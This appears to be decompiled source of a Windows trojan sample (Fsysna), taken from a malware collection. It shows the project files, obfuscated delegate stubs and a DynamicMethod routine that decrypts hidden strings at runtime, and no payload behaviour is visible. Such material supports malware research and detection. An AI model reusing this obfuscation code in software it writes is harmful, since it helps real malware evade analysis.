@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/MyApplication/Properties/Settings.cs

@@ -0,0 +1,21 @@
+// Decompiled with JetBrains decompiler
+// Type: MyApplication.Properties.Settings
+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+using System.CodeDom.Compiler;
+using System.Configuration;
+using System.Runtime.CompilerServices;
+
+namespace MyApplication.Properties
+{
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
+  [CompilerGenerated]
+  internal sealed class Settings : ApplicationSettingsBase
+  {
+    private static Settings \u0001 = (Settings) \u0002\u0002.\u0093((SettingsBase) new Settings());
+
+    public static Settings Default => Settings.\u0001;
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/MyApplication/Properties/Token2000084.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: MyApplication.Properties.Token2000084
+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+namespace MyApplication.Properties
+{
+  internal class Token2000084 : \u0024Unresolved\u0024Token\u003A2003FFF
+  {
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/SmartAssembly/Attributes/PoweredByAttribute.cs

@@ -0,0 +1,17 @@
+// Decompiled with JetBrains decompiler
+// Type: SmartAssembly.Attributes.PoweredByAttribute
+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+using System;
+
+namespace SmartAssembly.Attributes
+{
+  public sealed class PoweredByAttribute : Attribute
+  {
+    public PoweredByAttribute(string s)
+    {
+    }
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/SmartAssembly/Attributes/Token2000082.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: SmartAssembly.Attributes.Token2000082
+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+namespace SmartAssembly.Attributes
+{
+  internal class Token2000082 : \u0024Unresolved\u0024Token\u003A2003FFF
+  {
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/Trojan.Win32.Fsysna.deeq.csproj

@@ -0,0 +1,162 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{0DCA6722-AA1D-4332-8C9F-F2E252A8DA65}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>MyApplication</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Core" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="_0084.cs" />
+    <Compile Include="_0086.cs" />
+    <Compile Include="_0087.cs" />
+    <Compile Include="_0088.cs" />
+    <Compile Include="_0089.cs" />
+    <Compile Include="_008A.cs" />
+    <Compile Include="_008B.cs" />
+    <Compile Include="_008C.cs" />
+    <Compile Include="_008D.cs" />
+    <Compile Include="_008E.cs" />
+    <Compile Include="_008F.cs" />
+    <Compile Include="_0090.cs" />
+    <Compile Include="_0091.cs" />
+    <Compile Include="_0092.cs" />
+    <Compile Include="_0093.cs" />
+    <Compile Include="_0094.cs" />
+    <Compile Include="_0095.cs" />
+    <Compile Include="_0096.cs" />
+    <Compile Include="_0097.cs" />
+    <Compile Include="_0098.cs" />
+    <Compile Include="_0099.cs" />
+    <Compile Include="_009A.cs" />
+    <Compile Include="_009B.cs" />
+    <Compile Include="_009C.cs" />
+    <Compile Include="_009D.cs" />
+    <Compile Include="_009E.cs" />
+    <Compile Include="_009F.cs" />
+    <Compile Include="_0001_0002.cs" />
+    <Compile Include="_0002_0002.cs" />
+    <Compile Include="_0003_0002.cs" />
+    <Compile Include="_0004_0002.cs" />
+    <Compile Include="_0005_0002.cs" />
+    <Compile Include="_0006_0002.cs" />
+    <Compile Include="_0007_0002.cs" />
+    <Compile Include="_0008_0002.cs" />
+    <Compile Include="_000E_0002.cs" />
+    <Compile Include="_000F_0002.cs" />
+    <Compile Include="_0010_0002.cs" />
+    <Compile Include="_0011_0002.cs" />
+    <Compile Include="_0012_0002.cs" />
+    <Compile Include="_0013_0002.cs" />
+    <Compile Include="_0014_0002.cs" />
+    <Compile Include="_0015_0002.cs" />
+    <Compile Include="_0016_0002.cs" />
+    <Compile Include="_0017_0002.cs" />
+    <Compile Include="_0018_0002.cs" />
+    <Compile Include="_0019_0002.cs" />
+    <Compile Include="_001A_0002.cs" />
+    <Compile Include="_001B_0002.cs" />
+    <Compile Include="_001C_0002.cs" />
+    <Compile Include="_001D_0002.cs" />
+    <Compile Include="_001E_0002.cs" />
+    <Compile Include="_001F_0002.cs" />
+    <Compile Include="_007F_0002.cs" />
+    <Compile Include="_0080_0002.cs" />
+    <Compile Include="_0081_0002.cs" />
+    <Compile Include="_0082_0002.cs" />
+    <Compile Include="_0083_0002.cs" />
+    <Compile Include="_0084_0002.cs" />
+    <Compile Include="_0086_0002.cs" />
+    <Compile Include="_0087_0002.cs" />
+    <Compile Include="_0088_0002.cs" />
+    <Compile Include="_0089_0002.cs" />
+    <Compile Include="_008A_0002.cs" />
+    <Compile Include="_008B_0002.cs" />
+    <Compile Include="_008C_0002.cs" />
+    <Compile Include="_008D_0002.cs" />
+    <Compile Include="_008E_0002.cs" />
+    <Compile Include="_008F_0002.cs" />
+    <Compile Include="_0090_0002.cs" />
+    <Compile Include="_0091_0002.cs" />
+    <Compile Include="_0092_0002.cs" />
+    <Compile Include="_0093_0002.cs" />
+    <Compile Include="_0094_0002.cs" />
+    <Compile Include="_0095_0002.cs" />
+    <Compile Include="_0096_0002.cs" />
+    <Compile Include="_0097_0002.cs" />
+    <Compile Include="_0098_0002.cs" />
+    <Compile Include="_0099_0002.cs" />
+    <Compile Include="_009A_0002.cs" />
+    <Compile Include="_009B_0002.cs" />
+    <Compile Include="_009C_0002.cs" />
+    <Compile Include="_009D_0002.cs" />
+    <Compile Include="_009E_0002.cs" />
+    <Compile Include="_009F_0002.cs" />
+    <Compile Include="_0001_0003.cs" />
+    <Compile Include="_0002_0003.cs" />
+    <Compile Include="_0003_0003.cs" />
+    <Compile Include="_0004_0003.cs" />
+    <Compile Include="_0005_0003.cs" />
+    <Compile Include="_0006_0003.cs" />
+    <Compile Include="_0005\_0004.cs" />
+    <Compile Include="_0005\_0006.cs" />
+    <Compile Include="_0005\Token200007D.cs" />
+    <Compile Include="_0008\Token200007F.cs" />
+    <Compile Include="_0003\_0002.cs" />
+    <Compile Include="_0003\Token200007C.cs" />
+    <Compile Include="_0007\_00072.cs" />
+    <Compile Include="_0007\_0007.cs" />
+    <Compile Include="_0007\Token200007E.cs" />
+    <Compile Include="_000F\_000E.cs" />
+    <Compile Include="_000F\Token2000080.cs" />
+    <Compile Include="_0017\_0004.cs" />
+    <Compile Include="_0017\Token2000081.cs" />
+    <Compile Include="SmartAssembly\Attributes\PoweredByAttribute.cs" />
+    <Compile Include="SmartAssembly\Attributes\Token2000082.cs" />
+    <Compile Include="_0019\_001C.cs" />
+    <Compile Include="_0019\_001E.cs" />
+    <Compile Include="_0019\_001D.cs" />
+    <Compile Include="_0019\_001F.cs" />
+    <Compile Include="_0019\_001B.cs" />
+    <Compile Include="_0019\_0018.cs" />
+    <Compile Include="_0019\_001A.cs" />
+    <Compile Include="_0019\Token2000083.cs" />
+    <Compile Include="MyApplication\Properties\Settings.cs" />
+    <Compile Include="MyApplication\Properties\Token2000084.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="_0019\_001C.resx" />
+    <EmbeddedResource Include="{4c1ca376-1b35-4961-80e8-8029ad6b5a8b}" />
+    <EmbeddedResource Include="MyApplication\Properties\Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/Trojan.Win32.Fsysna.deeq.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MyApplication", "Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.csproj", "{0DCA6722-AA1D-4332-8C9F-F2E252A8DA65}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{0DCA6722-AA1D-4332-8C9F-F2E252A8DA65}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{0DCA6722-AA1D-4332-8C9F-F2E252A8DA65}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{0DCA6722-AA1D-4332-8C9F-F2E252A8DA65}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{0DCA6722-AA1D-4332-8C9F-F2E252A8DA65}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/_0001_0002.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 

+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+using System.Globalization;
+
+internal delegate CultureInfo \u0001\u0002();

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/_0001_0003.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 

+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate string \u0001\u0003([In] object obj0, [In] int obj1, [In] int obj2);

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/_0002_0002.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+using System.Configuration;
+using System.Runtime.InteropServices;
+
+internal delegate SettingsBase \u0002\u0002([In] SettingsBase obj0);

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/_0002_0003.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+internal delegate Module[] \u0002\u0003([In] object obj0);

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/_0003/Token200007C.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: .Token200007C
+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+namespace \u0003
+{
+  internal class Token200007C : \u0024Unresolved\u0024Token\u003A2003FFF
+  {
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/_0003/_0002.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+namespace \u0003
+{
+  internal delegate string \u0002(int i);
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/_0003_0002.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+internal delegate ModuleHandle \u0003\u0002([In] object obj0);

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/_0003_0003.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+using System.Text;
+
+internal delegate Encoding \u0003\u0003();

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/_0004_0002.cs

@@ -0,0 +1,11 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+using System.Reflection;
+using System.Reflection.Emit;
+using System.Runtime.InteropServices;
+
+internal delegate void \u0004\u0002([In] object obj0, [In] OpCode obj1, [In] MethodInfo obj2);

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/_0004_0003.cs

@@ -0,0 +1,11 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+using System;
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+internal delegate Delegate \u0004\u0003([In] Type obj0, [In] MethodInfo obj1);

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/_0005/Token200007D.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: .Token200007D
+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+namespace \u0005
+{
+  internal class Token200007D : \u0024Unresolved\u0024Token\u003A2003FFF
+  {
+  }
+}

MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9/_0005/_0004.cs

@@ -0,0 +1,54 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe
+
+using \u0003;
+using \u0017;
+using System;
+using System.Diagnostics;
+using System.Reflection;
+using System.Reflection.Emit;
+
+namespace \u0005
+{
+  internal static class \u0004
+  {
+    public static void \u007F()
+    {
+      Type declaringType = new StackTrace().GetFrame(1).GetMethod().DeclaringType;
+      foreach (FieldInfo field in declaringType.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField))
+      {
+        try
+        {
+          if ((object) field.FieldType == (object) typeof (\u0002))
+          {
+            DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, typeof (string), new Type[1]
+            {
+              typeof (int)
+            }, declaringType, true);
+            ILGenerator ilGenerator = dynamicMethod.GetILGenerator();
+            ilGenerator.Emit(OpCodes.Ldarg_0);
+            foreach (MethodInfo method in typeof (\u0004).GetMethods(BindingFlags.Static | BindingFlags.Public))
+            {
+              if ((object) method.ReturnType == (object) typeof (string))
+              {
+                ilGenerator.Emit(OpCodes.Ldc_I4, field.MetadataToken & 16777215);
+                ilGenerator.Emit(OpCodes.Sub);
+                ilGenerator.Emit(OpCodes.Call, method);
+                break;
+              }
+            }
+            ilGenerator.Emit(OpCodes.Ret);
+            field.SetValue((object) null, (object) (\u0002) dynamicMethod.CreateDelegate(typeof (\u0002)));
+            break;
+          }
+        }
+        catch
+        {
+        }
+      }
+    }
+  }
+}